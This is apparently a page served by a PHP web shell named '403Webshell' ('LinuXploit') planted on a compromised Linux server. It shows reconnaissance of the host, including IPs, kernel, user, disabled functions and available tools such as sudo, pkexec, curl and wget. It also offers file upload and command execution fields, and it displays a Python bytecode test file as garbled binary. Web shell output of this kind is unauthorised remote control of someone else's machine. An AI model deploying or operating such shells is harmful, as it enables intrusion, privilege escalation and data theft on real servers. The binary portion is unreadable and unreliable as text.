403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.109
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/usr/lib/python3.10/distutils/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/usr/lib/python3.10/distutils/tests/__pycache__/test_install_scripts.cpython-310.pyc
o

�9jA
�@s�dZddlZddlZddlmZddlmZddlmZddl	m
Z
Gdd�dejejej
�Zd	d
�Zedkr>e
e��dSdS)z,Tests for distutils.command.install_scripts.�N)�install_scripts)�Distribution)�support)�run_unittestc@seZdZdd�Zdd�ZdS)�InstallScriptsTestCasecCs�t�}tjdd�|jd<tjdddd�|jd<t|�}|�|j�|�|j�|�|j	�|�|j
�|��|�|j�|�|j�|�
|j	d�|�
|j
d�dS)Nz/foo/bar��
build_scripts�buildz/splat/funk��r�force�
skip_build�install)rr�DummyCommand�command_objr�assertFalserr
�assertIsNone�	build_dir�install_dir�finalize_options�
assertTrue�assertEqual)�self�dist�cmd�r�;/usr/lib/python3.10/distutils/tests/test_install_scripts.py�test_default_settingss&��z,InstallScriptsTestCase.test_default_settingscs�|���g���fdd�}|dd�|dd�|dd�|��}t�}tj�d	�|jd
<tj|ddd�|jd
<t|�}|��|��t�	|�}�D]}|�
||�qJdS)NcsB��|�ttj��|�d�}z|�|�W|��dS|��w)N�w)�append�open�os�path�join�write�close)�name�text�f��expected�sourcerr�write_script+s

z>InstallScriptsTestCase.test_installation.<locals>.write_scriptz
script1.pyz@#! /usr/bin/env python2.3
# bogus script w/ Python sh-bang
pass
z
script2.pyz8#!/usr/bin/python
# bogus script w/ Python sh-bang
pass
zshell.shz1#!/bin/sh
# bogus shell script w/ sh-bang
exit 0
rr	r
rr)�mkdtemprrrrrr�runr!�listdir�assertIn)rr,�targetrr�	installedr&rr)r�test_installation's*


�
�z(InstallScriptsTestCase.test_installationN)�__name__�
__module__�__qualname__rr3rrrrr
srcCs
t�t�S)N)�unittest�	makeSuiterrrrr�
test_suiteNs
r9�__main__)�__doc__r!r7�!distutils.command.install_scriptsr�distutils.corer�distutils.testsr�test.supportr�TempdirManager�LoggingSilencer�TestCaserr9r4rrrr�<module>s�A�

Youez - 2016 - github.com/yon3zu
LinuXploit